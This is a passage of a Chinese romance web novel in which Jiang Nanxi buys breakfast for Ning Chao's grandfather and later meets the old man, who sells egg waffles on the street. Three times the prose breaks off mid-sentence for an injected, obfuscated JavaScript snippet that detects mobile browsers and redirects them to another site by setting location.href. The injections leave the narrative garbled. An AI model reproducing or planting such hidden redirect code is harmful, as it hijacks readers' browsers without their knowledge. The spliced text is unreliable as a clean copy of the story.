话音未落,姜南西猛地一口葡萄汁卡在喉咙,她赶紧捂住嘴巴扭过身体,对着墙壁剧烈地咳嗽。 宁朝抽了几张纸巾给她,柔声关心:“没事儿吧。” “没事儿。”姜南西接过纸巾紧紧捂住下半张脸,努力不看他的眼睛,缓了好一会儿,她才找回自己的声音,闷闷道:“你接着说。” 她边说话,边暗自用力握住手里的玻璃杯,心里盘算着,如果宁朝再敢口出狂言,她就把手里的葡萄汁连冰带水地泼他那张脸上。 “我是想让你以后顺带帮我买份福香斋的早餐。”宁朝终于找机会说出这句话。 姜南西差点以为自己听错:“福香斋......早餐?” 宁朝嗯了声,他摸了摸鼻子:“你不是每天早上要送幼儿园的小朋友吗?福香斋就在那旁边。” “你怎么知道——”话说一半姜南西忽然想起来,“哦,我发过朋友圈。” 宁朝开出筹码:“给劳务费,多少你定。” 姜南西稍稍侧过身体,一手扶额低头不语,表情难以言喻的讳莫如深——她在想宁朝的话。 她不是涉世未深的小女孩,这些年社会上的毒打早在心里砌了一道坚固的戒备墙。 哪怕天上掉个馅饼砸她跟前,姜南西都觉得那里头包的是毒药。 旁边的榻榻米区出来几个客人,谈笑风声一片热闹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765256|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伴着店里欢快的韩曲旋律,店里氛围霎时变得热烈。 而一片喧闹中,角落的桌子显得有些沉默。 “别装了。”良久的沉默过后,姜南西坐直身体,她直视宁朝的双眼,眼神又黑又沉:“但凡你能早起多吃两顿早餐,都不会有现在这样的黑眼圈。” 闻言宁朝视线微垂,落向她眼下那一片青黑:“那你的是因为什么?晚上还要打别的工?” 姜南西脑袋一昂:“我去干代驾。” 北京人哪能让话掉地上:“什么后备箱能塞下你的电动车?” 一来二去的玩笑让气氛不再那么紧张,两人无声对视几秒,都无端笑了出来,姜南西别开眼看向别处,宁朝笑着低头挠了挠眉梢,彼此都觉得自己有点幼稚。 灯光明亮的韩餐店角落,空气中隐隐流动着气氛和缓后的微妙温和。 笑完,姜南西清了清嗓子,她略有严肃地说:“说正经的,你看起来不像是一定要吃早餐的人,更别说是福香斋了。” 完全理解她的顾虑,宁朝语态不紧不慢:“不是给我买,给老头儿买。” “老头儿?”姜南西惊讶地扬起声调。 “我爷爷。”宁朝有什么说什么,态度和表情都极为诚恳,“老爷子有吃早餐的习惯,之前一直好这口,但最近他不住这边儿,所以只能我买了给他送过去。” 这下姜南西明白了,合着还是个孝顺孩子。 姜南西问:“我每天早上7点就要送小朋友,送完就回家了,你能赶得过来?” 宁朝说:“我住东湖湾,开车过来只要五分钟。” “但是......”问清了以后,姜南西还有一丝犹豫,“既然你都能开车跑一趟了,怎么不正好自己买了?” 宁朝掀了掀薄薄的眼皮:“我懒得排队。” 行。 孝顺的懒孩子。 一番对话下来,姜南西彻底明白了,那条微信确实是个乌龙。 知道是个误会之后,她心底没来由地松了口气,可到底为什么会有这样的情绪,姜南西一时说不清楚。 如果非要有个理由,那大概是为了庆幸宁朝不是个坏人吧。 转念一想,本来还担心自己不能坚持吃早餐,也算是个由头。 就当还他个人情。 顺手的事儿。 为此,姜南西加重语气强调:“早上7点15,小区D门,过时不候。” 宁朝俊眉一挑:“老头儿胆固醇高不能吃鸡蛋,其他你随意。” 说完,他举起玻璃杯,眼尾带着心满意足的笑:“那今天开始算第一天。” 今年的夏天,蝉鸣聒噪,燥热沉闷,街道两旁的行道树被高温熏透,像病了一样无精打采地蔫着。 但是一到深夜,热气从砖缝里溜走,城市静谧美妙,自然盛放出它鲜活的生命力,偶有一两颗星,在夏晚的云海里浮游,直到黑夜将尽,迎来新的黎明。 两杯加了冰的葡萄汁在半空撞到一起,清爽新鲜,在柔和的灯光下晶莹剔透。 姜南西笑弯起眼:“成交!” 7. 老北京豆汁 晨曦初照,阳光从浅蓝色的地平线移过来,寸寸浸润高楼林立的建筑群,整座北京城清清亮亮。 七点十分,姜南西将小朋友们送上校车后,大步一跨骑上自己的小电动,缓缓驶向停在不远处的黑色奥迪RS7,两边车把上的早餐一前一后地来回晃悠。 她敲了敲车窗,车窗徐徐降下,宁朝坐在驾驶位,面带微笑地看着她:“早上好。” 左边早餐是自己的,姜南西取下右边车把上的递进去:“两碗羊杂汤,四个糖油饼和四个牛肉大葱包子。”虽然宁朝只说给他爷爷买,但她还是买的两人份的量。 宁朝接过早餐放到副驾驶,没着急走,而是自下而上地看了眼她的模样:“你不回家睡觉了?”他看她骑着电动车还带着头盔,似乎是要去别的地方。 姜南西下巴微昂,伸手拽了拽脖子上的头盔带,用眼梢斜觑车里的人:“去打太极。” 再继续回家睡觉只会陷入作息紊乱的死循环,为此姜南西吸取经验教训,强迫自己上午必须找点事儿做。 调整好头盔带子,她潇洒地摆一摆手:“走啦!” “明天见。”宁朝坐在车里,目送着姜南西骑车的背影渐行渐远。 起得有点早,脑子都还不清醒。 宁朝在车里闭眼小憩十分钟,用力抹了把脸,才驱动车辆离开。 广顺南大街与京密路交汇的十字路口,远近闻名的交通堵塞,这还没到八点,路况就已经直飙紫红,加上某些非机动车辆无视交规随意穿行,原本应当畅行的右转车道,也逐渐排起了车队。 宁朝的车被堵在车流中间,速度慢地像乌龟,只能跟在前车后面吃尾气。 他一手撑着车窗,一手扶着方向盘,朝左前方位置投去一眼——望京著名的地标雕塑,机甲大熊猫。 早年间还是一对憨态可掬的亲子熊猫,后来不知道怎么想的,换成了如今这个赛博朋克的机械版,臊眉搭眼无精打采的,看得人直犯困。 前车终于挪了点,宁朝微松刹车,奥迪难得向前滑动珍贵的半米。 本来就没什么精神,这破路况越开还越想睡觉,宁朝现在无比后悔开着这辆车出来。 要不是老爷子三令五申不准骑着摩托在他眼前晃,宁朝恨不得现在就掉头换车,然后一脚油门轰到他床头上去。 宁朝一边想一边从收纳盒里拿矿泉水,正要拧开瓶盖时,蓦地余光瞥见右边车窗外的一道人影,手上动作顿时全部僵住。 姜南西还真是在打太极。 望京南地铁站东南口和海棠花溪的中间,有块绿荫环绕的空地,十几个身着宽松练功服的大爷大妈聚在一起,随着悠扬的古筝乐缓缓起势,动作行云流水,每一个招式都透着从容不迫的气度。 姜南西默默站在队伍最边缘,简单扎着马尾,身影瘦削利落。 因为是完全的初学者,她在每次转身、抬腿之前,都要瞄好几眼别人的姿势,然后照猫画虎地来上一遍。 不过她学得很快,仅仅两三个招式之后,就能逐步跟上大爷大妈们的节奏,虽然还略显生疏,但动作肉眼可见得愈发流畅起来。 旁边的大妈夸了一句:“小姑娘学挺快啊!” 得到夸奖的姜南西特别开心,她学着京腔回人家:“谢谢您!” 宁朝坐在车里,笔直的目光望向那头注视良久,直到后车不耐烦地嘀了一声,他这才回过神,放下矿泉水,轻踩油门,右转汇入繁忙的京密路。 车辆加速前,宁朝最后又转头看了眼。 海棠早已过了时节,只剩满眼青绿,姜南西没站稳摔了个屁股蹲儿,但她没觉得丢人,而是直接坐到地上,脸上挂着大大的笑容,大方嘲笑自己的笨拙。 她本来就白,早上纯粹的阳光照在身上,显得脸颊更加白净,再配合她那没心没肺的容,整个人都像在往外冒傻气。 车辆开出老远一截,宁朝想到刚才那画面,到底还是没忍住笑了出来,狭小的空间里回荡着他低沉而愉悦的笑声。 哪儿来的小傻子,摔跤了还傻呵呵的乐。 . 宁朝把车子停在胡同口,在路边小店又买了碗老北京豆汁,连着早餐一起拎回家。 进家门时,宁衡远还躺在床上呼呼大睡,呼噜打得震天响,把墙头的流浪猫吓得炸毛乱窜。 放下早餐,宁朝微俯下身,轻轻把人摇醒:“起来吃饭了。” 宁衡远掀开一条眼缝瞄眼床边的人,看清之后,他二话不说翻过身继续睡,冲宁朝露出闲人勿扰的后脑勺。 见状宁朝也不催促,他淡定地关掉手机静音,然后掏出床底的那些家伙事儿,打开相机“咔咔”拍了两张。 这声音像是某种信号,房间里宁衡远的呼噜声戛然而止,他一骨碌从床上弹起来,一把夺走宁朝手中的手机,以最快的速度删掉正要发送家族群的照片。 一大早被扰清梦,宁衡远满肚子的起床气:“你怎么三天两头往我这跑!你那公司又要破产了?” “这不听说您这个月退休金马上要下来了,赶紧过来尽尽孝。” 宁朝顺势往床上一躺,长腿交叠搭在床位,双手枕在后脑,活脱脱一个只想骗走老头养老金出去挥霍的不肖子孙:“爷爷,您可是我司头号金主,上百号员工等您发工资呢。” 宁衡远当然知道他在放屁,一挑浓眉道:“指望我这点退休金发工资,那还不如直接倒闭了。” 宁朝说:“那也比您把钱花在这些三无产品上强。” “你懂什么!”宁衡远鼻孔吭哧呼气,他一边转身找自己牙刷毛巾,一边坚决维护自己的退休金花销自由,“那卖货的小崔三天两头来给我送鸡蛋陪我唠嗑儿,不比你这不见退休金不撒鹰的兔崽子强!我花个千儿八百地支持一下他工作怎么了!” 宁朝笑得吊儿郎当:“得!小崔才是您亲孙子呗。” 宁衡远白眼一翻:“谁让我睡懒觉谁是我亲孙子。” 自打从人民教师的岗位退休之后,宁衡远终于摆脱了十年如一日早起上班打卡写论文的生活,夏天还好说,可一到冬天,要从温暖的被窝里爬起来,他巴不得立刻找块安静的暖和点的墓地,然后躺在里面等死。 所以一退休,宁衡远就彻底放飞自我,借着独居留守老人的身份,私下里熬夜抽烟喝酒样样都来,睡到日上三竿是常规操作。 这几年在宁朝的监督下,好不容易把烟酒戒了,结果老爷子又爱上了别的。 周围同龄人都在研究养生的时候,宁老师也不遑多让,只不过他另辟蹊径,热衷于购买各种花里胡哨的三无保健器材,什么脚底穴位嗨翻天、刺激身高再发育的泡脚桶,能靠敲打肩颈矫正脊椎侧弯的经络锤,活脱脱一堆没用的智商税。 虽不至于走火入魔,但如此等等的离谱行径,让宁朝有时候不免怀疑宁衡远特聘教授的证书也是花钱买来的。 “靠这些保健品还不如早睡早起多做运动。”说到这里,宁朝像是突然想到什么,他眼睛一亮真诚建议:“天气这么好,要不您也去公园里跟人学学打太极?” “天气这么好我应该上公园里上吊去。”宁衡远拿着牙刷毛巾,骂骂咧咧地走出房间。 胡同里的早晨,清静而柔和,鸽群呼啦啦地从屋顶掠过,嗡嗡的鸽哨声在蓝天盘旋不散。 这是从小听到大的声音,每次听见宁朝都会觉得特别安心,他躺在床上,听着胡同里嘈杂却惬意的人声自然声,慢慢闭上眼睛。 宁衡远洗漱完拿着东西走进房间,刚想问宁朝回来干嘛的,却发现宁朝已经沉沉睡去,早上胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765257|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同里还有点凉,他放下东西,扯过床边的凉被盖到宁朝身上。 不肖子孙为财伪孝,不达目的原形毕露。 七旬老人被赶下床,此情此景何等凄凉。 孤寡老人宁老师含泪咽下牛杂汤和牛肉大葱包子,最后将豆汁儿一饮而尽,双手一背,出门上胡同里遛弯儿去了。 . 下午三点,阳光晴朗,姜南西正在逛北海公园,看白塔和绿树红墙。 从教科书里看图片插画,和身历其境亲眼看到风景,感受还是很不一样的,至少当阳光洒在白塔,海面上波光粼粼的时候,姜南西能通过深吸一口气,切身实地地感受到海面吹来了凉爽的风。 真的太舒服了。 但没在北海停留太久,因为旁边就挨着什刹海,她打算用一下午把这两个景点都逛完,顺便去烟袋斜街买几个冰箱贴,然后填下还没吃午饭的肚子。 姜南西最后在画舫寨拍了几段视频后,打开手机导航从北门出去。 导航带着她走到了荷花广场。 广场上挤满了来自全国各地的旅行团,左边一堆蓝帽子,右边一群绿马甲。不少小贩在叫卖各种玩具气球,这也算什刹海的一大特色,有过来询问姜南西的,都被她微笑着摆手拒绝。 她站在路边,看向左右两条不同的路线,两条步行街都能穿到后海,区别只在于路上的风景不同,一边是商业购物,一边是休闲绿道。 她低头放大导航,正研究休闲绿道那边有什么好玩的店铺时,突然从左手边冲出来一辆三轮车。 姜南西下意识往后退了一步给人让路,哪知三轮车不再向前,直接停在她的面前。 身型佝偻的老大爷吃力地扶着自己的小三轮,仿佛好不容易等来了今天的第一个顾客,眼里闪动期冀的光芒:“姑娘,吃鸡蛋仔吗?” 三轮车上码放着干净整齐的工具食材,模具上摆着几个新鲜出炉的鸡蛋仔,每一个都饱满而圆润。 看上去垂涎欲滴,但很可惜,姜南西不能吃:“不了,谢谢您。” 老大爷的表情顿时变得失望,他缓慢转动浑浊的眼珠,目光巴巴地落在姜南西的脸上:“是因为我这个鸡蛋仔做的不好吗?” “......”卑微而讨好的眼神瞬间勾起姜南西的心酸。 和对那些卖小玩意的人截然相反,姜南西最是看不得这种上了年纪的老人吃苦。 尤其现下炎炎高温,光是站在那就汗流浃背,可老大爷穿着洗掉色的T恤,什么防晒都没有,还要顶着烈日推着沉重的三轮车卖鸡蛋仔,而旁边空空如也的钱盒说明了收入甚微。 强大的共情能力和想象力,让姜南西已经在内心编造出一个儿孙不孝拒绝赡养,体弱多病的老人缺衣少食,只能靠卖鸡蛋仔勉强维持生活的凄惨故事。 犹豫间隙,老大爷又谨小慎微地轻声问道:“还是你觉得这鸡蛋仔不干净?” “不不不!”姜南西想说您误会了,还没开口,老大爷以迅雷不及掩耳盗铃之势,叉起一个鸡蛋仔塞自己嘴里,含糊不清地道:“我自己也吃的,保证干净!” 麻绳专挑细处断,厄运专找苦命人! 残存的理智再也不能压抑泛滥的同情心,姜南西立马掏出手机:“大爷,来一份!” 生活艰难的老大爷终于开了张,他激动的感激涕零:“姑娘,你是个好人啊,好人有好报啊。” 姜南西打开微信,准备扫.码付款。 却在下一秒,一只修长干净的手伸到她眼前,将手机摄像头挡了个严严实实,顺带反手推开老大爷递过来的收款码。 宁朝站在姜南西身侧,高大身影为她挡去刺眼的阳光。 他望着那老大爷冷淡道:“广场上这么些人,您就逮着一个不挣钱的宰啊。” 8. 黄杏冰酒 眼见着到手的买卖被人搅黄,老大爷顿时怒从中来,对宁朝嚷嚷道:“要你多管闲事!” 宁朝下巴一昂,满脸的挑衅:“路见不平。” “哎哟喂还路见不平!”老大爷挺起胸膛叉起腰,他瞥了眼站在宁朝身边的姜南西,貌似懂了什么:“我看你就是见色起意!” 战火忽然烧过来,把懵怔的姜南西一把子烧醒,她最害怕别人发生冲突,更别说是因她而起,于是赶忙从中说和:“别吵别吵,我买我买。” 然后她转头看向宁朝,炎热难耐,姜南西的脸颊被晒出浅浅红晕,俏丽的鼻梁两侧,渗出细密的汗珠,两人的目光在半空微微碰撞一下。 她弯起眼睛,冲宁朝笑了笑,似在用这种方式安抚他的情绪:“老大爷也不容易,买一份儿吧。” 说完她转身再一次准备付钱,扫码提示音响起来的时候,宁朝敛起思绪,轻轻抓过她的手腕制止她的动作:“别买。” 面对姜南西疑惑的眼神,他无奈地叹息了声:“这是我爷爷。” 姜南西一脸错愕,以至于忘了宁朝还抓着她的手腕,她吃惊地问一直沉默的老大爷:“你是他爷爷?” 三轮车对面的宁衡远,看抓着人小姑娘手半天没舍得放的宁朝,一脸嫌弃地别过脑袋,鼻孔朝天不说话。 姜南西又转过来问宁朝:“你真是他孙子?” 宁朝松开她的手,又恢复了往日那副混不吝的腔调:“啊,我三孙子。” 姜南西:“......” “我不认识你啊!”宁衡远在那头吹胡子瞪眼睛,仿佛多看宁朝一眼都觉得晦气,“爷爷我在这卖鸡蛋仔的时候,你过门槛还硌腚呢孙贼!” “老宁啊!”有街坊看见宁衡远,远远地喊了声,“还在这卖鸡蛋仔呢!小心待会儿城管过来再给你收走啊!” 宁朝偏头看向姜南西,戏谑地一挑眉毛,意思是你看吧。 果然宁衡远一听这话,腰不疼了腿不酸了家庭也幸福了,他挺直腰板推上自己的小三轮,最后瞪眼宁朝,然后头也不回地走了,身型矫健得根本看不出刚才那步履蹒跚的样子。 宁衡远一边推着小三轮,一边嘴里嘀嘀咕咕:“什么路见不平,我看你小子就是见色起意。” 等人走远,姜南西堪堪收回一半震惊,剩下一半化作好奇心,她看看越走越远的宁衡远,又转头看看宁朝,终于没忍住问:“这什么情况?” 宁朝习以为常,不疾不徐道:“老爷子不能吃鸡蛋,但又馋,自己琢磨出来的损招儿。” 大开眼界,姜南西由衷的佩服:“还能这样。” 说完,她仰头看向身边的男人,后知后觉两人又一次偶遇,算下来,短短二十四小时,他们竟然能偶遇了两次,真神奇。 她问:“你怎么也在什刹海?” 宁朝说:“我家在这附近。” 姜南西的震惊又回来了,她眼睛微微睁大:“什刹海,你家?” 宁朝认真地嗯了声:“不然你以为老爷子那破三轮能推多远?” 姜南西停了两秒没有说话。 紧接着,她打开手机,点开宁朝的微信,收下早上那笔不菲的转账。 这是昨晚从黑名单出来之后,宁朝第一时间转过来的,甚至都没问姜南西想要多少。 本来带早餐就是顺水推舟还他衣服的人情,要不了多少功夫,也要不了多少钱,加上昨晚那顿饭最后其实也是宁朝付的,姜南西更不好意思收劳务费,不要钱就当扯平了。 但现在不一样了。 他住什刹海,他有钱。 姜南西收钱的动作快速而敏捷,丝毫不拖泥带水。 无业游民不能跟钱过不去,这都是她应得的。 收完钱,她双手将手机捧到脸侧,歪下头笑意盈盈:“谢谢宁总!” 这小财迷的样子说不出来的可爱,宁朝俯视着她漂亮的眼睛,感觉自己心头被什么东西挠了下,他干咳一声挪开视线。 看见姜南西挂在脖子上的相机,宁朝低声问:“今天逛什刹海?” 姜南西答:“对,现在准备去吃点东西。” “你想吃好看的还是好吃的?” 要说好看,那必然是糖房咖啡,坐拥绝对的最佳视野,楼顶露台不仅可以眺望鼓楼和钟楼,还能俯瞰整片什刹海,将阳光下波光粼粼的整片海面尽收眼底。 但好看就意味着人多,尤其这种炙手可热的网红打卡点,不用想都知道肯定是人挤人。 姜南西毫不犹豫:“好吃的。” 一猜就是,宁朝笑一笑道:“那我带你去一家。” 景区里的小吃店多不胜数,品种琳琅满目,但大多都是挣的游客的快钱,味道全凭运气,所以让什刹海原著民带路是最好的选择。 可姜南西还是说:“不过会不会太麻烦了,要不你告诉我在哪,我自己去。” 宁朝不动声色抬眸看她一眼,姜南西是个“但是姑娘”。 通过几次对话,他发现姜南西每次在做决定之前,其实都有想答应的冲动,可不知为何,话到嘴边又总有那么多拧巴的但是。 不过没关系,宁朝最擅长处理拧巴和但是,他先行一步:“正好我要去那边办点事儿,走吧。” 话已至此,姜南西便不再拒绝,抬脚跟上他的步伐。 “谢谢啊。” “您客气。” . 宁朝带姜南西走的左边,从前海西沿到前海北沿,这条道上刚好能看见夏日盛放的荷花,斑斓船篷在荷叶里穿梭,荡漾,河面风里时时带有莲蓬的清香。 银锭桥上熙熙攘攘,宁朝让姜南西走在前头,他跟在后面,姜南西一回头就能看见。 小心再小心,姜南西还是差点被过路的人力三轮车碰到。 下桥之后往右走,宁朝扬手一指前方:“那边有座火神庙,你待会儿可以去看看。” “那是什么?”姜南西顺着方向看去,黑瓦罩顶的古老建筑伫立在影影绰绰的人群尽头,一时看不真切,她问:“寺庙吗?” “道观。”宁朝边走边说,“你可以在那里求财运,事业,贵人和爱情,挺灵的。” 姜南西抬手遮住刺眼的阳光,阴影落下,衬她眼底泱泱水光:“你去求过?” 宁朝帮她隔开汹涌人潮,边走边说:“创业那年求的事业。” 但是没求贵人,求贵人不如回家求老爷子。 这话让姜南西笑了下,弧度很浅。 但是宁朝看到了:“笑什么?” 姜南西说:“你这就像有些剧组导演,开机之前都要先找个灵点的庙拜一拜。” “也不全是,毕竟我从很久之前就开始努力了。” “比如呢?” “投胎的时候。” 姜南西被他逗乐,笑着将头扭向一边。 宁朝领着姜南西进了一家不起眼的小店。 还没到饭点,店里就坐了不少人,老板正在玻璃橱窗后忙得热火朝天,看见进来的是宁朝,立马探出头来:“三儿来了啊,今天吃点什么?还老样子?” 宁朝下巴一偏,示意身边的人:“带朋友来。”姜南西朝店主招了招手。 “照顾我生意来了啊!”店主笑呵呵说道,“看看想吃什么,我给你们做。” 宁朝侧头问姜南西:“炸酱面吃吗,这家的招牌。” 姜南西说:“行啊,听你的。” 闻言,宁朝的唇角弯了下,他跟里头正忙活的店主说:“来份招牌套餐,不要鸡蛋。” 店主撸起袖子煮面:“行,当当出来倒茶!” “来啦!” 随着这声回答,后厨的蓝色门帘被掀开,从里面走出来一个十五六岁的女生。 被叫当当的女生一看见姜南西,俩眼睛就亮得跟小灯泡似的:“姐姐你长得好漂亮呀!是演员吗?” 一上来就这么直接热烈的夸赞,让姜南西微愣了下,她不好意思地笑笑:“不是,我是拍演员的。” “导演呀!”当当一听更热情了,“那你看我这样的能当演员吗?” 当当是艺术生,今天上完专业课后,不想去学校就来店里帮忙。 少女的纯真是这世间最美好的东西,姜南西打心底喜欢这姑娘:“当然啦!你可以当主角。” “那姐姐你看我什么时候有机会——” “你先考上大学再说遥远的事儿。”宁朝出声打断当当的毛遂自荐,“考不上当了演员也成不了角儿。” 当当从小活在宁家仨孩子的阴影之下,她没好气地切了声:“你都能考上大学,这考大学有什么难的。” 端着面过来的店主刚好听到这句,乐到了:“你要是能考上清华,把那门口那俩狮子搬走,我跟你妈去蹲四年。” 当当气呼呼撅起嘴巴,给姜南西倒完茶没管宁朝,嘴里嘟嘟囔囔的转身走了。 “你是清华的?”店主离开后,姜南西终于忍不住问宁朝。 “嗯。”宁朝挑下眉毛,“你也是?” “哪儿能啊。”姜南西往铺满菜码的面里倒干黄酱,一边拌面一边说:“我川影的。” “报志愿的时候没想过北影?” “幸亏没报。”姜南西脸上闪过一丝后怕,她打趣:“不然我跑得更快。” 但也不好说,如果当初真的报了北影,更早一步来到北京,或许她可以更快适应这座城市,更快与这座城市的脉搏同频,用年少尚未成型的价值观和时代的冲击碰一碰。 这样在后来面对挫折的时候,能表现得更从容一些, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765258|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而不是独自站在陌生冰冷的大街,显得那样无助和狼狈。 不过谁知道呢? 人永远不能美化那条自己没有走过的路。 陪姜南西坐了一会儿之后,宁朝还有事先走了。 姜南西吃完面后,开始打量这家外观朴素却内有乾坤的炸酱面馆,最直观的感受,烟火气很强。 地处物价横飞的景区,面馆里的东西却实惠大碗,炸酱里的肉丁大块酥软,十几种眼花缭乱的菜码,面条筋道还能无限续加。 味道嘛,确如宁朝所说,好吃。 而往店里一看,大多数客人衣着随意,不似是精心打扮的游客,倒像是周围居民遛弯路过这里,然后自然而然地坐下吃一口,或者打包个晚餐回去。 颇有种扫地高僧大隐隐于市的低调。 姜南西拿出pocket3,打算记录一段素材。 拍到一半,当当从前方走过来,看见镜头,她没有避开,而是大大方方站在前头弯过腰,笑容灿烂朝镜头打了个热情的招呼:“你好呀,我姓党,小名当当,你可以叫我党当当!” 相机记录下少女这古灵精怪的一幕。 当当送给姜南西一杯饮料:“漂亮姐姐,请你喝黄杏冰酒,我自己调的。” 这是一杯色彩分明的饮品,上半部分干净清澈,而杯底则沉淀着绚烂的明黄,好似天空翻覆之后,流淌在人间的一杯限定黄昏。 姜南西仰头问:“这是酒吗?” “一点点。”当当捏起两根手指头,她调皮地眨了眨眼睛,“微醺和什刹海的落日更配喔。” 冲着当当那句浪漫又诗意的话,姜南西一路闲逛到六点多,她跟着人群走走停停,绕着后海走了一圈,兜兜转转又回到了面馆附近。 纵然银锭桥才是什刹海日落的绝佳观赏位,但姜南西不打算在此停留,而是又往前走了一截,在金锭桥前头的随便找了个大石头坐下。 她手里牵着一只什刹海特有的非遗小风筝,刚从河边老爷爷那买的。傍晚微风吹过,小风筝在半空中翩然舞动,像一只自由自在的鸟。 四周游弋着清幽的檀香味,姜南西左右转头看了看,发现是从身后那座庄重古朴的建筑里飘来的。 不知不觉竟然碰上了宁朝说的那座道观。 但已经过了开放时间。 姜南西没觉得可惜,因为暂时还没想好接下来要干嘛,所以没什么好求的。 犯困和酒精的共同作用,姜南西从身到心都变得懒洋洋,她半眯起眼望向远方。 向晚的微光将天空烘成飘渺的琥珀色,余晖缓缓融化流淌,宛如将沉未沉的蜂蜜,悄然覆盖微寐的人间。 空气中弥漫着平静和温暖,全身被柔和的光芒所包裹,心底的褶皱在被一点点抚平。 她倍感轻松地闭上眼睛,浑身都变轻盈了。 与此同时,金锭桥对面的东岸咖啡,二楼靠窗位置,宁朝正在面试一位技术总监,对方专业能力过硬,正洋洋洒洒介绍项目经验。 宁朝听得并不专心,因为目光全然落在窗外。 夕阳完全消逝,天空迎来落日后短暂的蓝调时刻。 雾霭的蓝慢慢流向天空,被浓烈的橘红稳稳托住,什刹海悬起浓郁而鲜明的色调,这一刹那,天空生出浓烈的情感,迸出无形而澎拜的潮汐,推走街道的所有喧嚣,将一切声息光影都变得模糊。 从宁朝这个角度看过去,隐隐约约的朦胧中,有盏路灯是唯一清晰的焦点。 暖黄的灯光向下倾泻,漫射一片小小的区域,姜南□□自坐在长凳上,她静静观望着远方,偶尔拽一下手里的小风筝,云台相机立在旁边默默拍摄。 天空漂浮着无尽的蓝色,她和此刻的天空一样,宁静,慵懒,恍惚。 孤独地游离在人群之外。 候选人说完,宁朝问了个专业性问题,对方回答的时候,他拿起手机。 晚风吹得人昏晕欲醉,姜南西有些迷恋眼下这种景色,天空最大密度的蓝,是一天当中最纯粹的二十分钟,有着它独特的氛围感。 而当你觉得孤独时,小鱼会奋力游过来,跳出蓝色海面,化作星星和月亮让你开心。 月亮跳出来的时候,手机也响了下。 宁朝说:【刚忘了说,明天见。】 姜南西有些奇怪地蹙眉。 姜橙子:【你早上说过了。】 宁朝看见这条时,不由自主笑了下,眼底漾开星星点点的光芒。 下一秒。 姜南西还是回:【明天见。】 宁朝没再回复。 时间的流逝无限拉长,抚平他心底震耳欲聋的心跳。 落日褪去,此刻你在我眼前。 我们又一次共同拥有这短暂而浓烈的一分钟。 9. 冰镇矿泉水 给宁朝买早餐的第四天,北京下起大雨,整条街道被笼罩在氤氲的水汽之下。 姜南西撑着雨伞走到车边,未发一言,将买好的早餐递进车窗。 宁朝接过来之后问:“你今天不吃早饭?” 之前姜南西都会买两份,给宁朝一份,另一份自己吃,但今天她手里没有第二份。 姜南西低着头看打车软件,说话时尽量不扯动面部肌肉,不是她故作高冷,而是她现在稍微表情大一点就会牙疼。 她声音含糊不清道:“智齿发炎了。” 听这动静,宁朝偏过脑袋看向伞下,发现她的脸色有些苍白:“你是不是发烧了?”说着他下意识想伸手摸她额头,转念间不知又想到什么,刚抬起的手又生生收回。 姜南西嗓音沙哑:“有点儿。” 算作息不规律的锅。 前两天智齿就隐隐作痛,本来以为和之前一样吃了药能压下去,却没想到这次的炎症来势汹汹,今天早上起来直接发了低烧。 一秒钟的决定,宁朝说:“上车,我送你去医院。” 从半小时前就紧盯打车排队进度的姜南西,这才抬起眼看了眼宁朝,微笑拒绝道:“不用了,我打个车很快。” 话音未落,她听见车门被打开的声音。 紧接着宁朝下车,不由分说从姜南西手里拿走雨伞,然后往她手里塞了个什么东西,他轻轻拽过她的手腕,牵着她绕过车前走到另一侧。 松开手,宁朝拉开副驾驶车门:“下雨天还是高峰期,等你打到车医生都下班儿了。” 姜南西:“但......” 宁朝没给她开口的机会,一手扶住她的肩膀,动作轻柔又略带霸道地把人塞进车里。 等宁朝重新坐进车里,姜南西捏着手里薄薄的卡片,无言半晌终于问:“但是为什么要给我你的身份证?” “我胆儿不小,但也怕你把我当坏人不肯上车。哪个医院?”宁朝低头输入地址设置导航,语态说不上来的随意。 姜南西本能跟随他的节奏,报了个医院的名字。 宁朝接着打出医院名字:“你现在拍个照给你朋友,然后身份证压你那儿,把你安全送回家再还我。” 这话分明是在说她的胆小,但姜南西并没有觉得冒犯,相反,宁朝能探出她心中所想,并能用这种委婉而温和的方式将它化解,反而让她没那么有压力。 他好像天生就有一种泰然自若的松弛感,无论对人对事,或是可能的恶意揣度,都能保持平静从容,去做自己想做的事。 这恰恰是姜南西一直所缺少的特质。 姜南西垂眸打量身份证上宁朝的照片,一面无表情的寸头,看上去比真人凶多了。 她说:“我才不上当,你把我杀了还是能把身份证取回去的。” 话是说得血腥,实际上宁朝能看见她眼尾藏不住的笑意。 闻言宁朝一愣,他也挺配合,直接把车解锁:“你现在上楼,把身份证放家里。” “那我要好好看看。”姜南西的笑意越来越深,故意拿着宁朝的身份证翻来覆去地看,最后甚至举起来对着光,每个边角都仔仔细细地挨个检查。 